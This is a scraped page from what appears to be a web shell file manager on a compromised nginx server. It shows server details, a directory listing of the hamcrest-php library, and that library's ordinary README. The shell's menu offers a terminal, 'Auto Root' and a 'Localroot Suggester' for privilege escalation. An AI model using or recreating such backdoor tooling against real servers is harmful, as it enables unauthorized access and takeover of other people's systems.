Linux unitednationsplay.com 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
nginx/1.20.1
Server IP : 188.130.139.92 & Your IP : 3.15.22.202
Domains :
Cant Read [ /etc/named.conf ]
User : web
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
www /
unp /
vendor /
hamcrest /
hamcrest-php /
Delete
Unzip
Name
Size
Permission
Date
Action
generator
[ DIR ]
drwxr-xr-x
2016-01-20 09:00
hamcrest
[ DIR ]
drwxr-xr-x
2016-01-20 09:00
tests
[ DIR ]
drwxr-xr-x
2016-01-20 09:00
.coveralls.yml
18
B
-rw-r--r--
2016-01-20 09:00
.gitignore
7
B
-rw-r--r--
2016-01-20 09:00
.gush.yml
184
B
-rw-r--r--
2016-01-20 09:00
.travis.yml
461
B
-rw-r--r--
2016-01-20 09:00
CHANGES.txt
5.22
KB
-rw-r--r--
2016-01-20 09:00
LICENSE.txt
1.45
KB
-rw-r--r--
2016-01-20 09:00
README.md
2.26
KB
-rw-r--r--
2016-01-20 09:00
TODO.txt
561
B
-rw-r--r--
2016-01-20 09:00
composer.json
666
B
-rw-r--r--
2016-01-20 09:00
composer.lock
50.98
KB
-rw-r--r--
2016-01-20 09:00
Save
Rename
This is the PHP port of Hamcrest Matchers ========================================= [](https://travis-ci.org/hamcrest/hamcrest-php) [](https://scrutinizer-ci.com/g/hamcrest/hamcrest-php/?branch=master) [](https://scrutinizer-ci.com/g/hamcrest/hamcrest-php/?branch=master) Hamcrest is a matching library originally written for Java, but subsequently ported to many other languages. hamcrest-php is the official PHP port of Hamcrest and essentially follows a literal translation of the original Java API for Hamcrest, with a few Exceptions, mostly down to PHP language barriers: 1. `instanceOf($theClass)` is actually `anInstanceOf($theClass)` 2. `both(containsString('a'))->and(containsString('b'))` is actually `both(containsString('a'))->andAlso(containsString('b'))` 3. `either(containsString('a'))->or(containsString('b'))` is actually `either(containsString('a'))->orElse(containsString('b'))` 4. Unless it would be non-semantic for a matcher to do so, hamcrest-php allows dynamic typing for it's input, in "the PHP way". Exception are where semantics surrounding the type itself would suggest otherwise, such as stringContains() and greaterThan(). 5. Several official matchers have not been ported because they don't make sense or don't apply in PHP: - `typeCompatibleWith($theClass)` - `eventFrom($source)` - `hasProperty($name)` ** - `samePropertyValuesAs($obj)` ** 6. When most of the collections matchers are finally ported, PHP-specific aliases will probably be created due to a difference in naming conventions between Java's Arrays, Collections, Sets and Maps compared with PHP's Arrays. --- ** [Unless we consider POPO's (Plain Old PHP Objects) akin to JavaBeans] - The POPO thing is a joke. Java devs coin the term POJO's (Plain Old Java Objects). Usage ----- Hamcrest matchers are easy to use as: ```php Hamcrest_MatcherAssert::assertThat('a', Hamcrest_Matchers::equalToIgnoringCase('A')); ```